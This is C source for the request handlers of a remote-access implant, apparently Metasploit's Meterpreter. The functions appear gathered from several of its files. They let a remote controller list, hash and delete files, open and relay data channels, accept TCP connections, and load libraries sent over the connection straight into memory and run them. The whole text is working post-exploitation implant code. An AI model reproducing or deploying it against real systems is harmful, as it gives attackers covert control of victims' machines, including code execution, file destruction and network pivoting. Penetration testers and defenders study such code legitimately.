/* * Returns the SHA1 hash for a specified file path * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_sha1(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); char *filePath; DWORD result = ERROR_SUCCESS; SHA_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[SHA_DIGEST_LENGTH + 1] = {0}; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); result = fs_fopen(filePath, "rb", &fd); if (result == ERROR_SUCCESS) { SHA1_Init(&context); while ((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { SHA1_Update(&context, buff, ret); } fclose(fd); SHA1_Final(hash, &context); packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, sizeof(hash)); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Gets information about the file path that is supplied and returns it to the * requestor * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_stat(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); struct meterp_stat buf; char *filePath; char *expanded = NULL; DWORD result = ERROR_SUCCESS; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!filePath) { result = ERROR_INVALID_PARAMETER; goto out; } expanded = fs_expand_path(filePath); if (expanded == NULL) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } result = fs_stat(expanded, &buf); if (0 == result) { packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } free(expanded); out: packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Expands a file path and returns the expanded path to the requestor * * req: TLV_TYPE_FILE_PATH - The file path to expand */ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; char *expanded = NULL; char *regular; regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (regular == NULL) { result = ERROR_INVALID_PARAMETER; goto out; } // Allocate storage for the expanded path expanded = fs_expand_path(regular); if (expanded == NULL) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); free(expanded); out: packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/*! * @brief Transmit a `TLV_TYPE_RESULT` response if `response` is present. * @param result The result to be sent. * @param remote Reference to the remote connection to send the response to. * @param response the Response to add the `result` to. */ DWORD packet_transmit_response(DWORD result, Remote* remote, Packet* response) { if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); } return ERROR_NOT_ENOUGH_MEMORY; }
/* * core_channel_open * ----------------- * * Opens a channel with the remote endpoint. The response handler for this * request will establish the relationship on the other side. * * opt: TLV_TYPE_CHANNEL_TYPE * The channel type to allocate. If set, the function returns, allowing * a further up extension handler to allocate the channel. */ DWORD remote_request_core_channel_open(Remote *remote, Packet *packet) { Packet *response; DWORD res = ERROR_SUCCESS; Channel *newChannel; PCHAR channelType; DWORD flags = 0; do { dprintf( "[CHANNEL] Opening new channel for packet %p", packet ); // If the channel open request had a specific channel type if ((channelType = packet_get_tlv_value_string(packet, TLV_TYPE_CHANNEL_TYPE))) { res = ERROR_NOT_FOUND; break; } // Get any flags that were supplied flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); dprintf( "[CHANNEL] Opening %s %u", channelType, flags ); // Allocate a response response = packet_create_response(packet); // Did the response allocation fail? if ((!response) || (!(newChannel = channel_create(0, flags)))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } dprintf( "[CHANNEL] Opened %s %u", channelType, flags ); // Get the channel class and set it newChannel->cls = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_CLASS); dprintf( "[CHANNEL] Channel class for %s: %u", channelType, newChannel->cls ); // Add the new channel identifier to the response if ((res = packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel))) != ERROR_SUCCESS) break; // Transmit the response dprintf( "[CHANNEL] Sending response for %s", channelType ); res = PACKET_TRANSMIT(remote, response, NULL); dprintf( "[CHANNEL] Done" ); } while (0); return res; }
/* * Gets the directory separator for this system */ DWORD request_fs_separator(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); packet_add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR); packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_SUCCESS); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Gets the current working directory * * req: TLV_TYPE_DIRECTORY_PATH - The directory path to change the working * directory to. */ DWORD request_fs_getwd(Remote * remote, Packet * packet) { Packet *response = packet_create_response(packet); char *directory = NULL; DWORD result; result = fs_getwd(&directory); if (directory != NULL) { packet_add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); free(directory); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Gets the contents of a given directory path and returns the list of file * names to the requestor. * * req: TLV_TYPE_DIRECTORY_PATH - The directory that should be listed */ DWORD request_fs_ls(Remote * remote, Packet * packet) { Packet *response = packet_create_response(packet); LPCSTR directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); DWORD result; if (!directory) { result = ERROR_INVALID_PARAMETER; } else { result = fs_ls(directory, request_fs_ls_cb, response); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Removes the supplied directory from disk if it's empty * * req: TLV_TYPE_DIRECTORY_PATH - The directory that is to be removed. */ DWORD request_fs_delete_dir(Remote * remote, Packet * packet) { Packet *response = packet_create_response(packet); char *directory; DWORD result; directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH); if (directory == NULL) { result = ERROR_INVALID_PARAMETER; } else { result = fs_delete_dir(directory); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Removes the supplied file from disk * * req: TLV_TYPE_FILE_PATH - The file that is to be removed. */ DWORD request_fs_delete_file(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); char *path; DWORD result = ERROR_SUCCESS; path = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!path) { result = ERROR_INVALID_PARAMETER; } else { result = fs_delete_file(path); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * core_crypto_negotiate * --------------------- * * Negotiates a cryptographic session with the remote host * * req: TLV_TYPE_CIPHER_NAME -- The cipher being selected. * opt: TLV_TYPE_CIPHER_PARAMETERS -- The paramters passed to the cipher for * initialization */ DWORD remote_request_core_crypto_negotiate(Remote *remote, Packet *packet) { LPCSTR cipherName = packet_get_tlv_value_string(packet, TLV_TYPE_CIPHER_NAME); DWORD res = ERROR_INVALID_PARAMETER; Packet *response = packet_create_response(packet); // If a cipher name was supplied, set it if (cipherName) res = remote_set_cipher(remote, cipherName, packet); // Transmit a response if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); PACKET_TRANSMIT(remote, response, NULL); } return ERROR_SUCCESS; }
/* * core_channel_close * ------------------ * * Closes a previously opened channel. * * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close */ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS, channelId; Channel *channel = NULL; dprintf("[CHANNEL] remote_request_core_channel_close."); do { // Get the channel identifier channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); // Try to locate the specified channel if (!(channel = channel_find_by_id(channelId))) { res = ERROR_NOT_FOUND; break; } // Destroy the channel channel_destroy(channel, packet); if (response) { packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); } } while (0); // Transmit the acknowledgement if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); res = PACKET_TRANSMIT(remote, response, NULL); } return res; }
DWORD request_core_enumextcmd(Remote* remote, Packet* packet) { BOOL bResult = FALSE; Packet* pResponse = packet_create_response(packet); if (pResponse != NULL) { EnumExtensions enumExt; enumExt.pResponse = pResponse; enumExt.lpExtensionName = packet_get_tlv_value_string(packet, TLV_TYPE_STRING); dprintf("[LISTEXTCMD] Listing extension commands for %s ...", enumExt.lpExtensionName); // Start by enumerating the names of the extensions bResult = list_enumerate(gExtensionList, ext_cmd_callback, &enumExt); packet_add_tlv_uint(pResponse, TLV_TYPE_RESULT, ERROR_SUCCESS); PACKET_TRANSMIT(remote, pResponse, NULL); } return ERROR_SUCCESS; }
/* * core_channel_write * ------------------ * * Write data from a channel into the local output buffer for it */ DWORD remote_request_core_channel_write(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS, channelId, written = 0; Tlv channelData; Channel * channel = NULL; do { channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); // Try to locate the specified channel if (!(channel = channel_find_by_id(channelId))) { res = ERROR_NOT_FOUND; break; } lock_acquire( channel->lock ); // Get the channel data buffer if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS) break; // Handle the write operation differently based on the class of channel switch (channel_get_class(channel)) { // If it's buffered, write it to the local buffer cache case CHANNEL_CLASS_BUFFERED: res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written); break; // If it's non-buffered, call the native write operation handler if // one is implemented default: { NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; if (ops->write) res = ops->write(channel, packet, ops->context, channelData.buffer, channelData.header.length, &written); else res = ERROR_NOT_SUPPORTED; } break; } } while (0); if( channel ) lock_release( channel->lock ); // Transmit the acknowledgement if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); res = PACKET_TRANSMIT(remote, response, NULL); } return res; }
/*! * @brief Notify routine for a tcp server channel to pick up its new client connections.. * @param remote Pointer to the remote instance. * @param serverCtx Pointer to the TCP server context. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Notification completed successfully. */ DWORD tcp_channel_server_notify(Remote * remote, TcpServerContext * serverCtx) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext* clientctx = NULL; Packet* request = NULL; SOCKADDR_IN6 clientaddr = { 0 }; SOCKADDR_IN6 serveraddr = { 0 }; SOCKET sock = 0; DWORD size = 0; char* localhost = NULL; char* peerhost = NULL; int localport = 0; int peerport = 0; do { if (!serverCtx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. serverCtx == NULL", ERROR_INVALID_HANDLE); } ResetEvent(serverCtx->notify); size = sizeof(SOCKADDR_IN6); sock = accept(serverCtx->fd, (SOCKADDR*)&clientaddr, &size); if (sock == INVALID_SOCKET) { if (WSAGetLastError() == WSAEWOULDBLOCK) { Sleep(100); break; } BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_notify. accept failed"); } dprintf("[TCP-SERVER] tcp_channel_server_notify. Got new client connection on channel %d. sock=%d", channel_get_id(serverCtx->channel), sock); clientctx = tcp_channel_server_create_client(serverCtx, sock); if (!clientctx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE); } size = sizeof(SOCKADDR_IN6); if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed"); } if (!serverCtx->ipv6) { localhost = inet_ntoa(((SOCKADDR_IN*)&serveraddr)->sin_addr); } if (!localhost) { localhost = ""; } localport = ntohs(serverCtx->ipv6 ? serveraddr.sin6_port : ((SOCKADDR_IN*)&serveraddr)->sin_port); if (!serverCtx->ipv6) { peerhost = inet_ntoa(((SOCKADDR_IN*)&clientaddr)->sin_addr); } if (!peerhost) { peerhost = ""; } peerport = ntohs(serverCtx->ipv6 ? clientaddr.sin6_port : ((SOCKADDR_IN*)&clientaddr)->sin_port); dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport); request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open"); if (!request) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE); } packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel)); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel)); packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost); packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport); packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost); packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport); dwResult = PACKET_TRANSMIT(serverCtx->remote, request, NULL); } while (0); return dwResult; }
DWORD request_core_loadlib(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; HMODULE library; PCHAR libraryPath; DWORD flags = 0; PCHAR targetPath; int local_error = 0; Command *command; Command *first = extensionCommands; do { Tlv dataTlv; libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); // Invalid library path? if (!libraryPath) { res = ERROR_INVALID_PARAMETER; break; } if (flags & LOAD_LIBRARY_FLAG_LOCAL) { // i'd be surprised if we could load // libraries off the remote system without breaking severely. res = ERROR_NOT_SUPPORTED; break; } // Get the library's file contents if ((packet_get_tlv(packet, TLV_TYPE_DATA, &dataTlv) != ERROR_SUCCESS) || (!(targetPath = packet_get_tlv_value_string(packet, TLV_TYPE_TARGET_PATH)))) { res = ERROR_INVALID_PARAMETER; break; } dprintf("targetPath: %s", targetPath); library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length); dprintf("dlopenbuf(%s): %08x / %s", targetPath, library, dlerror()); if (!library) { res = ERROR_NOT_FOUND; break; } // If this library is supposed to be an extension library, try to // call its Init routine if (flags & LOAD_LIBRARY_FLAG_EXTENSION) { PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION)); if (!pExtension) { res = ERROR_NOT_ENOUGH_MEMORY; break; } //DWORD(*init)(Remote *remote); pExtension->init = dlsym(library, "InitServerExtension"); // Call the init routine in the library if (pExtension->init) { dprintf("calling InitServerExtension"); pExtension->end = first; res = pExtension->init(remote); pExtension->start = extensionCommands; pExtension->getname = dlsym(library, "GetExtensionName"); pExtension->deinit = dlsym(library, "DeinitServerExtension"); if (pExtension->getname) { pExtension->getname(pExtension->name, sizeof(pExtension->name)); } list_push(gExtensionList, pExtension); } else { free(pExtension); } if (response) { for (command = pExtension->start; command != pExtension->end; command = command->next) { packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method); } } } } while (0); if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); PACKET_TRANSMIT(remote, response, NULL); } return (res); }
/* * core_channel_read * ----------------- * * From from the local buffer and write back to the requester * * Takes TLVs: * * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from * req: TLV_TYPE_LENGTH -- The number of bytes to read */ DWORD remote_request_core_channel_read(Remote *remote, Packet *packet) { DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId; Packet *response = packet_create_response(packet); PUCHAR temporaryBuffer = NULL; Channel *channel = NULL; do { if (!response) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the number of bytes to read bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); // Try to locate the specified channel if (!(channel = channel_find_by_id(channelId))) { res = ERROR_NOT_FOUND; break; } lock_acquire( channel->lock ); // Allocate temporary storage if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } switch (channel_get_class(channel)) { // If it's buffered, read from the local buffer and either transmit // the buffer in the response or write it back asynchronously // depending on the mode of the channel. case CHANNEL_CLASS_BUFFERED: // Read in from local res = channel_read_from_buffered(channel, temporaryBuffer, bytesToRead, (PULONG)&bytesRead); break; // Handle read I/O for the pool class case CHANNEL_CLASS_POOL: // If the channel has a read handler if (channel->ops.pool.read) res = channel->ops.pool.read(channel, packet, channel->ops.pool.native.context, temporaryBuffer, bytesToRead, &bytesRead); else res = ERROR_NOT_SUPPORTED; break; default: res = ERROR_NOT_SUPPORTED; } // If we've so far been successful and we have a temporary buffer... if ((res == ERROR_SUCCESS) &&(temporaryBuffer) && (bytesRead)) { // If the channel should operate synchronously, add the data to theresponse if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS)) { // if the channel data is ment to be compressed, compress it! if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, temporaryBuffer, bytesRead); else packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA, temporaryBuffer, bytesRead); res = ERROR_SUCCESS; } // Otherwise, asynchronously write the buffer to the remote endpoint else { if ((res = channel_write(channel, remote, NULL, 0, temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS) break; } } } while (0); if( channel ) lock_release( channel->lock ); if (temporaryBuffer) free(temporaryBuffer); // Transmit the acknowledgement if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead); packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); res = PACKET_TRANSMIT(remote, response, NULL); } return res; }